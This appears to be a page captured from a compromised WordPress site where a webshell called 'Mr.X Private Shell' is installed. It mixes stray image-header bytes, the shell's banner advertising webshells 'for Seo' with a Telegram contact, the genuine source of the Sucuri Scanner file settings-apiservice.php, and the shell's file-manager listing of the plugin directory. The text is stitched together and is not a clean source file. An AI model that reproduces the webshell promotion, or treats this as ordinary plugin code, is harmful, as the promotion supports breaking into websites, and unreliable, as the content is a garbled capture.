����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Code related to the settings-apiservice.php interface.
*
* PHP version 5
*
* @category Library
* @package Sucuri
* @subpackage SucuriScanner
* @author Daniel Cid <dcid@sucuri.net>
* @copyright 2010-2018 Sucuri Inc.
* @license https://www.gnu.org/licenses/gpl-2.0.txt GPL2
* @link https://wordpress.org/plugins/sucuri-scanner
*/
if (!defined('SUCURISCAN_INIT') || SUCURISCAN_INIT !== true) {
if (!headers_sent()) {
/* Report invalid access if possible. */
header('HTTP/1.1 403 Forbidden');
}
exit(1);
}
/**
* Returns the HTML to configure the API service status.
*
* @param bool $nonce True if the CSRF protection worked, false otherwise.
* @return string HTML for the API service status option.
*/
function sucuriscan_settings_apiservice_status($nonce)
{
$params = array();
$params['ApiStatus.StatusNum'] = '1';
$params['ApiStatus.Status'] = __('Enabled', 'sucuri-scanner');
$params['ApiStatus.SwitchText'] = __('Disable', 'sucuri-scanner');
$params['ApiStatus.SwitchValue'] = 'disable';
$params['ApiStatus.WarningVisibility'] = 'visible';
$params['ApiStatus.ErrorVisibility'] = 'hidden';
$params['ApiStatus.ServiceURL'] = SUCURISCAN_API_URL;
$params['ApiStatus.ApiKey'] = '';
if ($nonce) {
// Enable or disable the API service communication.
$api_service = SucuriScanRequest::post(':api_service', '(en|dis)able');
if ($api_service) {
$action_d = $api_service . 'd';
$message = sprintf(__('API service communication was <code>%s</code>', 'sucuri-scanner'), $action_d);
SucuriScanEvent::reportInfoEvent($message);
SucuriScanEvent::notifyEvent('plugin_change', $message);
SucuriScanOption::updateOption(':api_service', $action_d);
SucuriScanInterface::info(__('The status of the API service has been changed', 'sucuri-scanner'));
}
}
$api_service = SucuriScanOption::getOption(':api_service');
if ($api_service === 'disabled') {
$params['ApiStatus.StatusNum'] = '0';
$params['ApiStatus.Status'] = __('Disabled', 'sucuri-scanner');
$params['ApiStatus.SwitchText'] = __('Enable', 'sucuri-scanner');
$params['ApiStatus.SwitchValue'] = 'enable';
$params['ApiStatus.WarningVisibility'] = 'hidden';
$params['ApiStatus.ErrorVisibility'] = 'visible';
}
$api_key = SucuriScanAPI::getPluginKey();
$params['ApiStatus.ApiKey'] = $api_key ? $api_key : __('NONE', 'sucuri-scanner');
return SucuriScanTemplate::getSection('settings-apiservice-status', $params);
}
/**
* Returns the HTML to configure the API service proxy.
*
* @return string HTML for the API service proxy option.
*/
function sucuriscan_settings_apiservice_proxy()
{
$params = array(
'APIProxy.Host' => 'no_proxy_host',
'APIProxy.Port' => 'no_proxy_port',
'APIProxy.Username' => 'no_proxy_username',
'APIProxy.Password' => 'no_proxy_password',
'APIProxy.PasswordType' => 'default',
'APIProxy.PasswordText' => 'empty',
);
if (class_exists('WP_HTTP_Proxy')) {
$wp_http_proxy = new WP_HTTP_Proxy();
if ($wp_http_proxy->is_enabled()) {
$proxy_host = SucuriScan::escape($wp_http_proxy->host());
$proxy_port = SucuriScan::escape($wp_http_proxy->port());
$proxy_username = SucuriScan::escape($wp_http_proxy->username());
$proxy_password = SucuriScan::escape($wp_http_proxy->password());
$params['APIProxy.Host'] = $proxy_host;
$params['APIProxy.Port'] = $proxy_port;
$params['APIProxy.Username'] = $proxy_username;
$params['APIProxy.Password'] = $proxy_password;
$params['APIProxy.PasswordType'] = 'info';
$params['APIProxy.PasswordText'] = 'hidden';
}
}
return SucuriScanTemplate::getSection('settings-apiservice-proxy', $params);
}
/**
* Returns the HTML to configure the URL for the checkums API.
*
* @param bool $nonce True if the CSRF protection worked, false otherwise.
* @return string HTML for the URL for the checksums API service.
*/
function sucuriscan_settings_apiservice_checksums($nonce)
{
$params = array();
$url = SucuriScanRequest::post(':checksum_api');
if ($nonce && $url !== false) {
/* https://github.com/WordPress/WordPress - OR - WordPress/WordPress */
$pattern = '/^(https:\/\/github\.com\/)?([0-9a-zA-Z_]+\/[0-9a-zA-Z_]+)/';
if (@preg_match($pattern, $url, $match)) {
SucuriScanOption::updateOption(':checksum_api', $match[2]);
$message = sprintf(__('Core integrity API changed: %s', 'sucuri-scanner'), SucuriScanAPI::checksumAPI());
SucuriScanEvent::reportInfoEvent($message);
SucuriScanEvent::notifyEvent('plugin_change', $message);
SucuriScanInterface::info(__('The URL to retrieve the WordPress checksums has been changed', 'sucuri-scanner'));
} else {
SucuriScanOption::deleteOption(':checksum_api');
$message = sprintf(__('Core integrity API changed: %s', 'sucuri-scanner'), SucuriScanAPI::checksumAPI());
SucuriScanEvent::reportInfoEvent($message);
SucuriScanEvent::notifyEvent('plugin_change', $message);
SucuriScanInterface::info(__('The URL to retrieve the WordPress checksums has been changed', 'sucuri-scanner'));
}
}
$params['ChecksumsAPI'] = SucuriScanAPI::checksumAPI();
return SucuriScanTemplate::getSection('settings-apiservice-checksums', $params);
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| api.lib.php | File | 37.23 KB | 0644 |
|
| auditlogs.lib.php | File | 10.89 KB | 0644 |
|
| base.lib.php | File | 27.75 KB | 0644 |
|
| cache.lib.php | File | 16.15 KB | 0644 |
|
| cli.lib.php | File | 4.8 KB | 0644 |
|
| command.lib.php | File | 6.19 KB | 0644 |
|
| cron.lib.php | File | 1.8 KB | 0644 |
|
| event.lib.php | File | 32.55 KB | 0644 |
|
| fileinfo.lib.php | File | 14.98 KB | 0644 |
|
| firewall.lib.php | File | 25.74 KB | 0644 |
|
| fsscanner.lib.php | File | 4.2 KB | 0644 |
|
| globals.php | File | 8.46 KB | 0644 |
|
| hardening.lib.php | File | 10.94 KB | 0644 |
|
| hook.lib.php | File | 38.23 KB | 0644 |
|
| index.html | File | 38 B | 0644 |
|
| installer-skin-legacy.lib.php | File | 1.58 KB | 0644 |
|
| installer-skin.lib.php | File | 2.35 KB | 0644 |
|
| integrity.lib.php | File | 26.07 KB | 0644 |
|
| interface.lib.php | File | 13.03 KB | 0644 |
|
| lastlogins-failed.php | File | 14.32 KB | 0644 |
|
| lastlogins-loggedin.php | File | 7.76 KB | 0644 |
|
| lastlogins.php | File | 16.13 KB | 0644 |
|
| mail.lib.php | File | 9.48 KB | 0644 |
|
| option.lib.php | File | 23.25 KB | 0644 |
|
| pagehandler.php | File | 8.97 KB | 0644 |
|
| request.lib.php | File | 4.4 KB | 0644 |
|
| settings-alerts.php | File | 26.7 KB | 0644 |
|
| settings-apiservice.php | File | 5.53 KB | 0644 |
|
| settings-general.php | File | 27.19 KB | 0644 |
|
| settings-hardening.php | File | 32.42 KB | 0644 |
|
| settings-integrity.php | File | 5.37 KB | 0644 |
|
| settings-posthack.php | File | 21.51 KB | 0644 |
|
| settings-scanner.php | File | 9.69 KB | 0644 |
|
| settings-webinfo.php | File | 5.55 KB | 0644 |
|
| settings.php | File | 947 B | 0644 |
|
| sitecheck.lib.php | File | 19.21 KB | 0644 |
|
| strings.php | File | 45.61 KB | 0644 |
|
| template.lib.php | File | 17.88 KB | 0644 |
|
| wordpress-recommendations.lib.php | File | 10.9 KB | 0644 |
|